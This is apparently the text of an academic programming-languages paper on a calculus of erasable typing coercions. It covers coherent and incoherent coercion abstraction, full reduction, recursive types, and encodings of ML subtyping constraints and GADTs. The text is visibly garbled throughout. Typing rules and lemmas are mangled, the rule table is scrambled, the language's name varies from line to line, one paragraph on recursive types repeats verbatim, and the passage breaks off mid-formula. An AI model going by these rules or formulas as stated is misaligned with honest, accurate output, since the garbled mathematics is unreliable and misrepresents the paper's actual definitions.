Simply-typed \(\lambda\)-calculus is however too restrictive and type systems are usually extended with some form of polymorphism that allows an expression to have several types, or rather a type that stands for a whole collection of other types. Parametric polymorphism, whose System F is the reference introduces polymorphic types \(\forall \alpha . \tau\). A typing judgment \(\Gamma \vdash a : \forall \alpha . \tau\) means that the program \(a\) has also type \(\tau\![\alpha \leftarrow \sigma]\) (i.e. \(\tau\) where \(\alpha\) has been replaced by \(\sigma\)) for all types \(\sigma\).
This operation, called type instantiation is in fact independent of the program \(a\) and can be captured as an auxiliary instantiation judgment \(\forall \alpha . \tau \leq \tau\![\alpha \leftarrow \sigma]\). This means that any term that has type \(\forall \alpha . \tau\) also has type \(\tau\![\alpha \leftarrow \sigma]\). Type instantiation is only a very specific form of some more general concept called type containment introduced by Mitchell (1988) in System F who showed that this is equivalent to closing System F by \(\eta\)-expansion (hence the name \(F_\eta\) for the resulting system). Type containment allows instantiation to be performed deeper inside terms (by contrast with System F where it remains superficial), following the structure of types covariantly, or contravariantly on the left of arrow types. Type containment contains the germs of subtyping, which usually refers to a restriction of type containment that does not include type instantiation as part of the subtyping relation, but instead injects primitive subtyping relations between constants such as int \(\leq\) float or primitive bottom and top types. The language \(F_c\) proposed by Cardelli et al. (1994) is the system of reference for combining subtyping with polymorphism. Surprisingly, the languages \(F_\iota\) and \(F_c\) share the same underlying concepts but have in fact quite different flavors and are incomparable (no one is strictly more general than the other). For example, \(F_c\) has bounded quantification \(\forall (\alpha \leq \tau) . \sigma\) that allows to abstract over all types \(\alpha\) that are a subtype of \(\tau\), a concept not present in \(F_\iota\). Although quite powerful, bounded quantification seems bridled and somewhat ad hoc as it allows for a unique and upper bound.
The language ML\(F\) (Le Botlan and Rémy 2009) is another variant of System F that has been introduced for performing partial type inference while retaining principal types. It has similarities with both \(F_c\) and \(F_\iota\), but introduces yet another notion, instance bounded quantification—or unique lower bounds.
In some previous work (Cretin and Rémy 2012), we introduced \(F^\iota\), a language of type coercions with the ability to abstract over coercions, that can express \(F_\iota\) type containment, \(F_c\) upper bounded polymorphism, and ML\(F\) instance-bounded poly-
Permission to make digital or hard copies of all or part of this work for personal or classroom use is granted without fee provided that copies are not made or distributed for profit or commercial advantage and that copies bear this notice and the full citation on the first page. Copyrights for components of this work owned by others than ACM must be honored. Abstracting with credit is permitted. To copy otherwise, or republish, to post on servers or to redistribute to lists, requires prior specific permission and/or a fee. Request permissions from permissions@acm.org.
Copyright © 2014 ACM 978-1-4503-2886-9/…$15.00.
http://dx.doi.org/10.1145/2603088.2603128
morphism, uniformly. Following a general and systematic approach to coercions lead to an expressive and modular design. However, $F^p$ still comes with a severe restriction: abstract coercions must be parametric in either their domain or their codomain, so that abstract coercions are coherent, i.e. their types are always inhabited by concrete coercions. This limitation is disappointing from both theoretical and practical view points. In practice, $F^p$ fails to give an account of subtyping constraints that are used for type inference with subtyping in ML. While in theory, subtyping constraints and second-order polymorphism are orthogonal concepts that should be easy to combine.
**Summary of our contributions** In this work, we solve this problem and present a language $F_c$, that generalizes $F^p$ (and thus subsumes $F_p$, $F_{cc}$, and MLF) to also model subtyping constraints. Besides, $F_c$ includes a general form of recursive coercions, from which we can recover powerful subtyping rules between equi-recursive types. As in our previous work, the language is equipped with a full reduction strategy, which also models reduction on open terms and provides stronger properties. We still permit a form of weak reduction on demand to model incoherent abstractions when needed, e.g. to encode GADTs.
We also generalize type coercions to typing coercions which enables a much clearer separation between computational types and erasable types that are all treated as coercions. In particular, type abstraction becomes a coercion and distributivity rules become derivable. Another side contribution of our work which is however not detailed here by lack of space but can be found in the extended version, is an adaption of step-indexed semantics to full reduction strategies, moving indices inside terms.
**Plan** The rest of the paper is organized as follows. We discuss a few important issues underlying the design of $F_c$ in §2. We present $F_{cc}$ formally in §3 and state its properties in §4. We discuss the expressiveness of $F_{cc}$ in §5 and differences with our previous work and other related works as well as future works in §6.
By lack of space, we have omitted many technical details and the whole proof of type soundness via step-indexed terms, which can be found in the extended version of this paper and in the first author’s PhD dissertation. The language $F_{cc}$ and its soundness and normalization proofs have been formalized and mechanically verified in Coq.
2. The design of $F_{cc}$
The language $F_{cc}$ is designed around the notion of erasable coercions. Strictly speaking erasable coercions should leave no trace in terms and not change the semantics of the underlying untyped $\lambda$-term. When coercions are explicit and kept during reduction, as in $F^p$, one should show a bisimulation property between the calculus with explicit coercions and terms of $\lambda$-calculus after erasure of all coercions. However, since coercions do not have computational content, they may also be left implicit, as is the case in $F_{cc}$.
Some languages also use coercions with computational content. These are necessarily explicit and cannot be erased at runtime. They are of quite a different nature, so we restrict our study to erasable coercions.
Still, erasability is subtle in the presence of coercion abstraction, because one could easily abstract over nonsensical coercions, e.g. that could coerce any type into any other type. By default, these situations should be detected and rejected of course. We say that a coercion abstraction is coherent when the coercion type is inhabited and incoherent when it may be uninhabited. Notice that type abstraction in System $F$, bounded polymorphism in $F_{cc}$, and instance bounded polymorphism in MLF are all coherent.
Coherent abstraction ensures that the body of the abstraction is meaningful—whenever well-typed. Hence, it makes sense to reduce the body of the abstraction before having a concrete value for the coercion—or equivalently to reduce open terms that contain coherent abstract coercions.
Conversely, incoherent abstraction must freeze the evaluation of the body until it is specialized with a concrete coercion that provides inhabitation evidence. Therefore, abstraction over incoherent coercions cannot be erased, even though coercions themselves carry no information and can be represented as the unit type value, as in FC [Weirich et al. 2011]—the internal language of Haskell whose coercion abstractions are (potentially) incoherent.
Choosing a weak evaluation strategy as is eventually done in all programming languages does not solve the problem, but just sweeps it under the carpet: while type-soundness will hold, static type errors will be delayed until applications, and library functions that will never be applicable may still be written.
Conversely, full reduction better exercises the typing rules: that is, type soundness for full reduction provides stronger guarantees. In our view, type systems should be designed to be sound for full reduction even if their reduction is eventually restricted to weak strategies for efficiency reasons. This is how programming languages based on System $F$ or $F_{cc}$ have been conceived, indeed.
Therefore, $F_{cc}$ is equipped with full reduction as the default and this is a key aspect of our design which could otherwise have been much simpler but also less useful.
However, we also permit abstraction over (potentially) incoherent coercions on demand, since this is needed to encode some form of dynamic typing, as can be found in programming languages with GADTs, for example. Indeed, GADTs allow to define parametric functions that are partial and whose body may only make sense for some but not all type instances. When accepting a value of a GADT as argument, the function may gain evidence that some type equality holds and that the value is indeed in the domain of the function. We claim that incoherent abstraction should be used exactly when needed and no more. In particular, one should not make all abstractions incoherent just because some of them must be.
From explicit to implicit coercions Coherence is ensured in $F^p$ by the parametricity restriction that limits abstraction to have a unique upper or lower bound. This also prevents abstract coercions from appearing in between the destructor and the constructor of a redex, a pattern of the form $c(\lambda x : \tau . M) N$ (where $c(\cdot)$ is the application of a coercion) called a wedge, which could typically block the reduction of explicitly typed terms—therefore loosing the bisimulation with reduction of untyped terms. While the coherence of the abstract coercion $c$ should make it safe to break $c$ apart into two pieces, one attached to the argument $N$, the other one attached to the body $M$, this would require new forms of coercions, new reduction rules, and quite sophisticated typing rules to keep track of the relation between the residual of wedges after they have been split apart. Even though it should be feasible in principle, this approach seemed far too complicated in the general case to be of any practical use.
Therefore our solution is to give up explicit coercions and leave them implicit. While this removes the problem of wedges at once, it also moves us away from a syntactic proof of type soundness. Instead, type soundness in $F_{cc}$ is proved semantically by interpreting types as sets of terms and coercions as proofs of inclusion between types.
**Simultaneous coercion abstractions** In order to relax the parametricity restriction of $F^p$ and allow coercions whose domain and range are simultaneously structured types, while preserving coherence, we permit multiple type abstractions to be introduced simultaneously with all coercion abstractions that constrain them.
Since coherence does not come by construction anymore, coherence proofs must be provided explicitly for each block of abstractions as witnesses that the types of coercions are inhabited, i.e. that they can be at least instantiated once in the current environment.
Grouping related abstractions allows to provide coherence proofs independently for every group of abstractions, and simultaneously for every coercion in the same group.
**From type coercions to typing coercions** A type coercion \( \tau \triangleright \sigma \) is a proof that all programs of type \( \tau \) have also type \( \sigma \) in some environment \( \Gamma \). Pushing the idea of coercions further, typings (the pair of an environment and a type, written \( \Gamma \vdash \tau \)) are themselves approximations of program behaviors, which are also naturally ordered. Thus, we may consider syntactical objects, which we call typing coercions, to be interpreted as proofs of inclusions between the interpretation of typings. By analogy with type coercions that witness a subtyping relation between types, typing coercions witness a relation between typings. This idea, which was already translucent in our previous work [Cretin and Rémy 2012], is now internalized.
Interestingly, type generalization can be expressed as a typing coercion—but not as a type coercion: it turns a typing \( \Gamma, \alpha \vdash \tau \) into the typing \( \Gamma \vdash \forall (\alpha : \kappa) \tau \). This allows to replace what is usually a term typing rule by a coercion typing rule, with two benefits: superficially, it allows for a clearer separation of term constructs that are about computation from coercion constructs that do not have computational content (type abstraction and instantiation, subtyping, etc.); more importantly, it makes type generalization automatically available anywhere a coercion can be used and, in particular, as parts of bigger coercions. An illustration of this benefit is that the distributivity rules (e.g. as found in Fc) are now derivable by composing type generalization, type instantiation, and \( \eta \)-expansion (generalization of the subtyping rule for computational types).
The advantage of using typing coercions is particularly striking in the fact that all erasable type system features studied in this paper can be expressed as coercions, so that computation and typing features are perfectly separated.
### 3. Language definition
#### 3.1 The syntax and semantics of terms
The syntax of the language is given in Figure 1. Because our calculus is implicitly typed, its syntax is in essence that of the \( \lambda \)-calculus extended with pairs. Terms contain variables \( x \), abstractions \( \lambda x. a \), applications \( a b \), pairs \( (a, b) \), and projections \( \pi_i a \) for \( i \in \{1, 2\} \).
Terms also contain two new constructs \( \partial a \) and \( a \diamond \) called incoherent abstraction and incoherent application, respectively. The incoherent abstraction \( \partial a \) can be seen as a marker on the term \( a \) that freezes its evaluation, while the incoherent application \( a \diamond \) allows evaluation of the frozen term \( a \) to be resumed. These two constructs enforce a form of weak reduction in a calculus where full reduction is the default. They are required to model GADTs, but removing them consistently everywhere preserves all the properties of \( F_c \); hence, one can always ignore them in a first reading of the paper.
The reduction rules are given on Figure 3. We write \( a[x \leftarrow b] \) for the capture avoiding substitution of the term \( b \) for the variable \( x \) in the term \( a \), defined as usual. Head reduction is described by the \( \beta \)-reduction rule \( \text{RedApp} \), the projection rule \( \text{RedProj} \), and \( \text{RedIApp} \) for unfreezing frozen computations. Reduction can be used under any evaluation context as described by Rule \( \text{REDCTX} \). Evaluation contexts, written \( E \), are defined on Figure 2. Since we choose a full reduction relation, all possible contexts are allowed—except reduction under incoherent abstractions: \( \partial [] \) is not an evaluation context. Notice that evaluation contexts contain a single node, since the context rule \( \text{REDCTX} \) can be applied recursively.
#### 3.2 Types, kinds, propositions, and coercions
We use types to approximate the behavior of terms, but types are themselves classified by kinds. So let us present kinds first. Although we do not have type functions, we need to manipulate tuples of types because several type variables and coercion constraints sometimes need to be introduced altogether. For the sake of simplicity and a slight increase in flexibility, we mix types, type sequences, and constrained types into the same syntactical class of
| \( \alpha, \beta \) | Type variables |
| \( x, y \) | Term variables |
| \( a, b \ ::= x | \lambda x. a | a a | \{a, a\} | \pi_i a | \partial a | a \diamond \) | Terms |
| \( \kappa ::= * | 1 | \kappa \times \kappa | \{\alpha : \kappa \} | P \) | Kinds |
| \( \tau, \sigma ::= \alpha | \tau \rightarrow \tau | \tau \times \tau | \forall (\alpha : \kappa) \tau \) | Types |
| \( \Gamma ::= \emptyset | \Theta | \tau \) | Environments |
### Figure 1. Syntax
### Figure 2. Notations
| \( \Sigma ::= \emptyset | \Sigma, (\alpha : \kappa) \) | Erasable environments |
| \( p ::= x | p v | \pi_i p | p \diamond \) | Prevalues |
| \( v ::= p | \lambda x. v | (v, v) | \partial a \) | Values |
| \( h ::= \lambda x a | \{a, a\} | \partial a \) | Constructors |
| \( D ::= [] a | \pi_i [] | \diamond \diamond \diamond \) | Destructors |
| \( E ::= \lambda x [] | [] a | a [] | [] \diamond \diamond \diamond \) | Evaluation Contexts |
### Figure 3. Reduction relation
types which are then classified by kinds. Kinds are written $\kappa$. The star kind $\star$ classifies sets of terms, as usual. The unit kind $1$ and the product kind $\kappa \times \kappa$ are used to classify the unit object and pairs of types, which combined together, may encode type sequences: for example, a type variable of kind $\kappa$ product kind $\kappa$ product kind $\kappa$ makes the set
$$ \tau \rightharpoonup \alpha : \kappa \rightharpoonup \sigma \rightharpoonup \tau \rightarrow \sigma $$
$$ \Gamma ; \Sigma \vdash a : \tau \rightarrow \sigma $$
$$ \Gamma ; \Pi \vdash b : \tau $$
$$ \Gamma ; \Pi \vdash a \otimes \tau : \Pi(\alpha : \kappa) \tau $$
$$ \Gamma \vdash a \phi : \tau[\alpha \leftarrow \sigma] $$
### 3.3 Typing judgments
Types, kinds, and propositions are recursively defined and so are their typing judgments. We actually have the following judgments, all but the term judgment being recursively defined:
- $\Gamma \vdash a : \tau$ term
- $\Gamma ; \Theta \vdash P$ proposition
- $\Gamma ; \Theta \vdash (\Sigma \vdash \tau) \rhd \sigma$ coercion
- $\Gamma ; \Theta \vdash \tau : \kappa$ type
- $\Gamma ; \Theta \vdash \kappa$ kind
We assume that judgments are always well-scoped: free variables of objects appearing in the right of the turnstile must be bound in the typing environment $\Gamma$. As usual, the environment $\Gamma$ may not bind (type or term) variable twice, so that it can be considered as a partial mapping from type variables to kinds and term variables to types.
**Auxiliary judgments** The main judgments are for terms, propositions, and coercions. Others are auxiliary judgments and we describe them first.
The kind judgment $\Gamma \vdash \kappa$ states that the kind $\kappa$ is coherent relative to the environment $\Gamma$. This judgment is actually equivalent to the proposition judgment $\Gamma \vdash \exists \kappa$ that will be explained below. The environment coherence judgment $\Gamma \vdash \Sigma$ checks that every kind appearing in $\Sigma$ is coherent in the environment that precedes it. It is defined by the two rules:
$$ \Gamma \vdash \emptyset $$
$$ \Gamma \vdash \Sigma, \Gamma, \Sigma \vdash \kappa $$
Kind and proposition well-formedness are recursively scanning their subexpressions for all occurrences of coercion propositions $\{ (\Sigma \vdash \tau) \rhd \sigma \}$ to ensure that $\Sigma$, $\tau$, and $\sigma$ are well-typed, as described by the following rule:
$$ \frac{ \Gamma \vdash \Sigma \Gamma, \Sigma \vdash \tau : \ast \Gamma \vdash \sigma : \ast }{ \Gamma \vdash \Sigma, \Gamma, \Sigma \vdash \tau \rhd \sigma } $$
Well-formedness judgments $\vdash$ recursively check well-formedness of their subcomponents. See the extended version for the complete description of well-formedness rules. We write $\vdash \Gamma$ for $\vdash \emptyset \vdash \Gamma$.
The type judgment $\Gamma \vdash \tau : \kappa$ is defined in Figure 4 but we only present the most interesting rules. Rule TypePack is used to turn a type $\tau$ of kind $\kappa$ satisfying a proposition $P$ into a type of the constrained kind $\{ \alpha : \kappa \ | \ P \}$. Conversely, TypeUnpack turns back a type of the constrained kind $\{ \alpha : \kappa \ | \ P \}$ into one of kind $\kappa$, unconditionally. TypeMu allows to build the recursive type $\mu \alpha \tau$, which can be formed whenever $\tau$ is productive as stated by the judgment $\alpha \rightharpoonup \tau : \ast$. Other rules are omitted by lack of space.
**Extraction property** Typing rules are defined so that some invariants hold, such as well-formedness or well-kindness of subcomponents. Therefore, there are immediate lemmas called extraction lemmas that state these invariants:
- **Terms**: If $\Gamma \vdash a : \tau$ and $\vdash \Gamma$ hold, then $\Gamma \vdash \tau : \ast$ holds.
- **Types**: If $\Gamma \vdash \tau : \kappa$ and $\vdash \Gamma$ hold, then $\Gamma \vdash \kappa$ holds.
---
<table>
<thead>
<tr>
<th>TermVar</th>
<th>TermLam</th>
<th>TermApp</th>
<th>TermPair</th>
<th>TermProj</th>
</tr>
</thead>
<tbody>
<tr>
<td>$(x : \tau) \in \Gamma$</td>
<td>$\Gamma \vdash x : \tau$</td>
<td>$\Gamma \vdash \lambda x : \tau \rightarrow \sigma$</td>
<td>$\Gamma \vdash a : \tau \rightarrow \sigma$</td>
<td>$\Gamma \vdash a_1 : \tau_1$ $\vdash {1, 2}$</td>
</tr>
<tr>
<td>$\Gamma \vdash \lambda \tau \rightarrow \sigma$</td>
<td>$\Gamma \vdash a \cdot b : \sigma$</td>
<td>$\Gamma \vdash a \cdot b : \sigma$</td>
<td>$\Gamma \vdash \pi_1 : a \cdot \tau_1$</td>
<td>$\Gamma \vdash \pi_1 : \pi_1 \cdot \tau_1$</td>
</tr>
</tbody>
</table>
**Figure 4.** Term typing rules
- **Propositions:** If $\Gamma; \Theta \vdash P$, $\Gamma \vdash \emptyset$, and $\Gamma \vdash \emptyset$ holds, then $\Gamma \vdash \emptyset$ holds.
- **Coercions:** If $\Gamma; \Theta \vdash (\Sigma \vdash \tau) \triangleright \sigma$, $\Gamma \vdash \emptyset$, and $\Gamma \vdash \emptyset$ hold, then $\Gamma \vdash \Sigma$ holds; moreover if $\Gamma$, $\Sigma \vdash \tau : \star$ additionally holds, then $\Gamma \vdash \sigma : \star$ holds too.
These invariants also help understanding the typing rules.
**Term typing rules** Following the tradition, we write $\Gamma \vdash a : \tau$ to mean that in environment $\Gamma$ the term $a$ has type $\tau$. However, we would also like to write this as $a : \Gamma \vdash \tau$ and read it the term $a$ has the typing $\Gamma \vdash \tau$, that is, $a$ is approximated by the type $\tau$ whenever its free variables are in the approximations described by $\Gamma$. We will keep the standard notation to avoid confusion, but we will read the judgment as above when helpful.
Term typing rules are given on Figure 4. Observe that the first five rules are exactly the typing rules of the simply-typed $\lambda$-calculus.
The last two rules are for incoherent abstraction and application (they could be skipped at first): Rule TERMblock says that the program $\partial a$ whose evaluation is frozen may be typed with the incoherent polymorphic type $\Pi(\alpha : \kappa) \tau$ if $a$ can be typed with $\tau$ in an extended context that assigns a well-formed kind $\kappa$ to $\alpha$. Notice that $\Gamma \vdash \kappa$, as opposed to $\Gamma \vdash \kappa$, does not imply that the kind $\kappa$ is coherent, but only that it is well-formed under $\Gamma$. Rule TERMUnblock is the counterpart of TERMblock. If we have a term $a$ of an incoherent polymorphic type $\Pi(\alpha : \kappa) \tau$, $i.e.$ whose evaluation has been frozen and a type $\sigma$ of kind $\kappa$, we know that the kind $\kappa$ is inhabited by $\sigma$. Therefore, we may safely unfreeze $a$ and give it the type $\tau[a \leftarrow \sigma]$.
Rule TERMc00r is at the heart of our approach which delegates most of the logic of typing to the existence of appropriate typing coercions. The rule reads as follows: if a term $a$ admits the typing $\Gamma, \Sigma \vdash \tau$ and there exists a coercion from $\tau$ to $\sigma$ introducing $\Sigma$ under $\Gamma$, which we write $\Gamma \vdash (\Sigma \vdash \tau) \triangleright \sigma$, then the term $a$ also admits the typing $\Gamma \vdash \sigma$. The presence of $\Sigma$ allows the coercion to manipulate the typing context as well as the type, which is the reason for our generalization from type coercions to typing coercions. When $\Sigma$ is $\emptyset$, the rule looks more familiar and resembles the usual subtyping rule: if a term $a$ has type $\tau$ under $\Gamma$ and there exists a coercion from the type $\tau$ to the type $\sigma$ under $\Gamma$ (which is written $\Gamma \vdash \tau \triangleright \sigma$), then the term $a$ has also type $\sigma$ under $\Gamma$.
This factorization of all rules but those of the simply-typed $\lambda$-calculus under one unique rule, namely TERMc00r, emphasizes that coercions are only decorations for terms. Rule TERMc00r annotates the term $a$ to change its typing without changing its computational content, as the resulting term is $a$ itself. This is only made possible by using typing coercions instead of type coercions.
The judgment $\Gamma \vdash (\Sigma \vdash \tau) \triangleright \sigma$ is in fact an abbreviation for the coercion judgment $\Gamma; \Theta \vdash (\Sigma \vdash \tau) \triangleright \sigma$ when $\Theta$ is $\emptyset$. These judgments are also made possible by the introduction of forcing the coercions as follows: if $\Gamma \vdash (\Sigma \vdash \tau) \triangleright \sigma$ holds, then $\Gamma \vdash \Sigma \vdash \tau : \sigma$ holds, which by extraction implies that $\Gamma, \Sigma \vdash \tau : \sigma$ holds. Thus, coercions $\Gamma \vdash (\Sigma \vdash \tau) \triangleright \sigma$ need not assume that $\Gamma, \Sigma \vdash \tau : \star$ holds. However, whenever this is the case, they should then ensure that $\Gamma \vdash \sigma : \star$ holds, as stated by the extraction lemma for coercions.
This explains the difference between Rule COERBot which does not have any premise and Rule COERTop, which need one. Otherwise, these two rules are standard and just close the coercion relation with extrema. For any typing $\Gamma \vdash \tau$, there is a smaller typing, namely $\Gamma \vdash \emptyset$, and a bigger typing, namely $\Gamma \vdash \emptyset$.

Rules CoerRefL and CoerTrans close the coercion relation by reflexivity and transitivity. To understand CoerTrans let’s take a term α with typing Γ, Σ₂, Σ₁ ⊢ τ₁. Applying Rule TermCoer with the second premise of Rule TermTrans ensures that the term α admits the typing Γ, Σ₂ ⊢ τ₂. Applying Rule TermCoer again with the first premise of Rule TermTrans ensures that α admits the typing Γ ⊢ τ₃ as if we have applied Rule TermCoer to the original typing of α with the conclusion of Rule CoerTrans.
The Rule CoerWeak implements a form of weakening. It tells us that if any term of typing Γ, Σ ⊢ τ can be seen as Γ ⊢ σ, then any term of typing Γ ⊢ τ can also be seen as Γ ⊢ σ. Since weakening holds for term judgments, we can do the following reasoning to justify this rule. Assuming that the premise Γ, Σ ⊢ τ holds, we argue that the conclusion should also hold; indeed, a term that admits the typing Γ ⊢ τ also admits the typing Γ, Σ ⊢ τ by weakening. Therefore, by the premise of Rule CoerWeak, it must also have typing Γ ⊢ σ. However, this reasoning is mathematical and based on our interpretation of coercions: Rule CoerWeak is required as it would not be derivable from other rules—not even if we removed it from the definition. Notice that this is the only rule that removes binders.
The rules CoerProd, CoerArr, and CoerPi close the coercion relation by η-expansion, which is the main feature of subtyping. Here, η-expansion is generalized to typing coercions instead of type coercions. The η-expansion rules describe how the coercion relation goes under computational type constructors, i.e. those of the simply-typed λ-calculus. Intuitively, η-expansion rules can be understood by decorating the η-expansion context with coercions at their respective type constructor. These coercions are erasable because the η-expansion of a term has the same computational behavior as the term itself.
For example, consider the η-expansion context for the arrow type \( \lambda x. [x]. \) Placing a term with typing Γ, Σ ⊢ τ’ ⊢ σ’ in the hole, we may give λx[[x] the typing Γ ⊢ τ → σ provided a coercion of type Γ, Σ ⊢ τ → σ is applied around x. The result of the application has typing Γ, Σ ⊢ σ’ which can in turn be coerced to Γ ⊢ σ if there exists a coercion of type Γ (Σ ⊢ σ’) ⊢ σ. Thus, the η-expansion has typing Γ ⊢ τ → σ. While the coercion applied to the result of the application may bind variables Σ (for the hole (and the argument), the coercion applied to the variable x needs not bind variables, since the variable x could not use them anyway. Notice that the first premise is there to preserve the elimination lemma for coercions.
Rules CoerGEN and CoerINST implement the main feature of the language, namely simultaneous coherent coercion abstractions. Intuitively, Rule CoerGEN combines several type and coercion abstractions. This is however transparent in rule CoerGEN since the simultaneous abstractions are grouped in the kind k. Hence, this rule looks like a standard generalization rule. The only key here is the premise that requires the kind to be coherent. The coherence hypothesis is necessary for type soundness. Otherwise, it would be possible to type unsound programs by abstracting over some uninhabited kind k, such as \( \{ \alpha : \sigma | \alpha \rightarrow \alpha \} \). Notice that CoerGEN is the only rule using typing coercions in a crucial way and that could not be presented as a coercion if we just had type coercions. Rule CoerINST is the counterpart of CoerGEN: it instantiates the abstraction by a type of the right kind.
Rule CoerPi is an η-expansion rule and should be understood by typing the η-expansion of the incoherent polymorphic type \( \theta (\theta (\tau)) \), inserting a coercion around the incoherent application. Placing a term with typing Γ, Σ ⊢ Π(α’ : k’) τ’ in the hole, we may first apply weakening to get a typing of the form Γ, (α : k), Σ ⊢ Π(α’ : k’) τ’. By instantiation (Rule TypeINST), we get a typing Γ, (α : k), Σ ⊢ τ’[α’ ⊢ σ’] provided Γ, (α : k), Σ ⊢ σ’. Applying a coercion \( \{ \alpha : k \mid \tau’ \} \) ⊢ τ (Rule TermCoer), we obtain the typing Γ, (α : k) ⊢ τ, which we may generalize (Rule TypeGEN) to obtain the typing Γ, (α : k) ⊢ θ (Rule CoerWeak). Notice that, by contrast with Rule CoerGEN, we do not require coherence for the kind k, but just its well-formedness. The reason is that this is a term typing rule that blocks the evaluation. However, we require the coherence of the type environment extension Σ under Γ. This is a very important premise because we do not want the incoherence of k to leak in Σ and thus under the coercion, because η-expansions are coercions and thus erasable.
Interestingly, the η-expansion rules for erasable type constructors are derivable as their introduction and elimination rules are already coercions. For example, consider this simple version of η-expansion for the universal quantifier:
\[
\text{CoerAll} \quad \Gamma ⊢ k, \Gamma, (\alpha : k) ; \Theta ⊢ τ → σ \\
\Gamma ; \Theta ⊢ ∀(\alpha : k) \tau → ∀(\alpha : k) σ
\]
Let (1) and (2) be the left and right premises. We have Γ, (α : k) ⊢ k (3) by TypeVar. By CoerINST applied to (3) we have Γ, (α : k) ; Θ ⊢ ∀(α : k) τ → σ (4). By CoerGEN applied to Γ, (α : k) ; Θ ⊢ (k ⊢ σ) → (k ⊢ σ) (5). By CoerTrans applied twice to (4), (2), and then (5) we have Γ, Θ ⊢ (k ⊢ σ) → (k ⊢ σ) from which we may conclude by Rule CoerWeak.
Similarly, rules for distributing universal types over arrow (CoerDistribRight) and product types are also derivable:
\[
\text{CoerDistribRight} \quad \Gamma ⊢ k, \Gamma ⊢ τ → * \\
\Gamma ; Θ ⊢ ∀(\alpha : k) (τ → σ) → ∀(\alpha : k) σ
\]
Rules CoerFold and CoerUnfold are the usual folding and unfolding of recursive types, which give the equivalence between \( \mu α τ \) and \( τ[α ← μ α τ] \). Remarkably, the usual rules for reasoning on recursive types [Amadio and Cardelli1993] are admissible using PropFix (we write \( τ₁ ⊢ τ₂ \) for \( [τ₁ \triangleright τ₂] \)).
Rules CoerFold and CoerUnfold are the usual folding and unfolding of recursive types, which give the equivalence between \( \mu α τ \) and \( τ[α ← μ α τ] \). Remarkably, the usual rules for reasoning on recursive types [Amadio and Cardelli1993] are admissible using PropFix (we write \( τ₁ ⊢ τ₂ \) for \( [τ₁ \triangleright τ₂] \)).
CoerFold
\[
\alpha → τ \rightarrow wf \\
\Gamma ; Θ ⊢ (τ₁ Φ σ[α ← τ₁]) ∈ \{1, 2\} \equiv \text{CoerEtaMu} \quad \Gamma, (α, β, α → β) ; Θ ⊢ τ → σ \\
\Gamma ; Θ ⊢ ματ → μβσ
\]
Interestingly, the proof for CoerFold requires reinforcement of the coinduction hypothesis since we need \( τ₁ ⊢ τ₂ \) and not just \( [τ₁ \triangleright τ₂] \) in the coinduction hypothesis.
Subject reduction is also lost in F₁ — although the language is sound. This is just the consequence of our decision to move from an explicit calculus of coercions to implicit coercions. The type system is just not rich enough to track after reduction the invariants that can be expressed by coercions on source programs, typically when coercions are used in wedges. (This issue is further discussed in §6.1.)
The language F₁ has been formalized in Coq and its properties have been mechanically verified.²
5. Expressiveness
The language F₁ is more expressive than F₀: apart from the change of presentation, moving from type coercions to typing coercions and from explicit coercions to implicit coercions, the only significant change is for type and coercion abstraction: the new construct of F₁ which by design generalizes the two forms of coercion abstraction in F₀. Indeed, we can choose \( \bot \) (resp. \( \top \)) to witness coercions that are parametric in their domain (resp. range). Therefore the languages F₁, MLF, and F₀ which are subsumed by F₁ can also be seen as sublanguages of F₁.
5.1 Encoding subtyping constraints
We claim that languages with ML-like subtyping constraints [Odersky et al. 1999; Pottier 1996] can be simulated in F₁. Following the presentation of Pottier [1996], term judgments with subtyping constraints may be written \( \mathbf{A} \vdash e \triangleright \tau \rightarrow C \) where \( \mathbf{A} \) is the environment, \( e \) the expression, \( \tau \) its type, and \( C \) is a sequence of subtyping constraints.
To ease the embedding of subtyping constraints in F₁, we slightly abuse of notations. First, we see let-bindings as the usual syntactic sugar for redexes. We write \( \overline{\sigma} \) for a sequence of variables \( \alpha_1 \ldots \alpha_n \) where \( n \) is left implicit. Given a sequence of variables \( \overline{\sigma} \), we see \( \alpha_i \) as \( \alpha \), \( i \) the projection of \( \alpha \). We write \( (\overline{\sigma} \mid \mathbf{P}) \) as a shorthand for the type binding \( (\mathbf{P} : \alpha \rightarrow \mathbf{P}) \) where \( n \) is the size of \( \overline{\sigma} \). Finally, we see constraint type schemes \( \forall \overline{\sigma} \mathbf{C} \Rightarrow \tau \) as the coherent polymorphic type \( \forall (\overline{\sigma} \mid \mathbf{C}) \tau \).
A term judgment \( \mathbf{A} \vdash e \triangleright \tau \rightarrow C \) can then be seen as the F₁ judgment \( (\overline{\sigma} \mid \mathbf{P}) \vdash e \triangleright \tau \mid \mathbf{P} \) where \( \mathbf{P} \) are free variables of \( \mathbf{A}, \mathbf{C} \), and \( \tau \). Notice that the environment in the translation of judgments is always of the form \( (\overline{\sigma} \mid \mathbf{C}) \). \( \mathbf{A} \) composed of a single abstraction block \( (\overline{\sigma} \mid \mathbf{C}) \) followed by term bindings \( \mathbf{A} \).
Type systems with subtyping constraints use two notions, solvability and consistency, that coincide in ML. Solvability means that one can find a ground instance for type variables that solves the
constraints. Consistency means that the transitive and congruence
closure of the set of constraints does not contain inconsistencies.
We claim that solvability of a set of constraints \( C \) implies the
coherence of the translation of \( C \), since it amounts to exhibit type
witnesses such that the constraints hold. These witnesses lie in a
syntax with simple types and recursive types. Moreover, since solv-
ability is equivalent to consistency, we conclude that consistency is
equivalent to coherence.
The two interesting typing judgments for subtyping constraints are
for let-binding and subsumption. These are as follows and are
admissible in \( F_2 \):
\[
\frac{\alpha \vdash \beta}{\alpha \vdash C | \beta} \quad \frac{\alpha \vdash C | \beta \leftarrow \sigma}{\alpha \vdash C | \beta}
\]
However, there remain two differences with the way subtyping
constraints are handled. A judgment \( \Gamma \vdash (x : \forall (C, \beta \rightarrow \tau)) \vdash b : \rho \)
\( (\alpha | C), \Gamma \vdash a : \tau \)
\( (\alpha | C), \Gamma \vdash \lambda x b : \rho \)
\( (\alpha | C), \Gamma \vdash \lambda x b : \rho \)
We define the pack and unpack term syntactic sugar for the
coherent existential, and iunpack and iunpack for their incoherent
version. Notice that the body of the incoherent type abstraction, and as such is allowed to be unsound
because it cannot be reduced.
\[
pack a \equiv \lambda x a \quad unpack a as \ x \equiv b \equiv a (\lambda x b)
\]
Let’s assume we have type-level functions and sum types. We
can now define the following GADT; named Term, and with kind
\( \alpha \rightarrow x \) where \( \alpha \rightarrow \tau \) for above):
\[
\text{Term} \alpha \equiv \Sigma (\beta : \alpha \rightarrow \tau | \alpha \Phi (\pi_1 \beta \rightarrow \pi_2 \beta)) \alpha + \exists \beta \beta (\beta \rightarrow \alpha) \times \text{Term} \beta
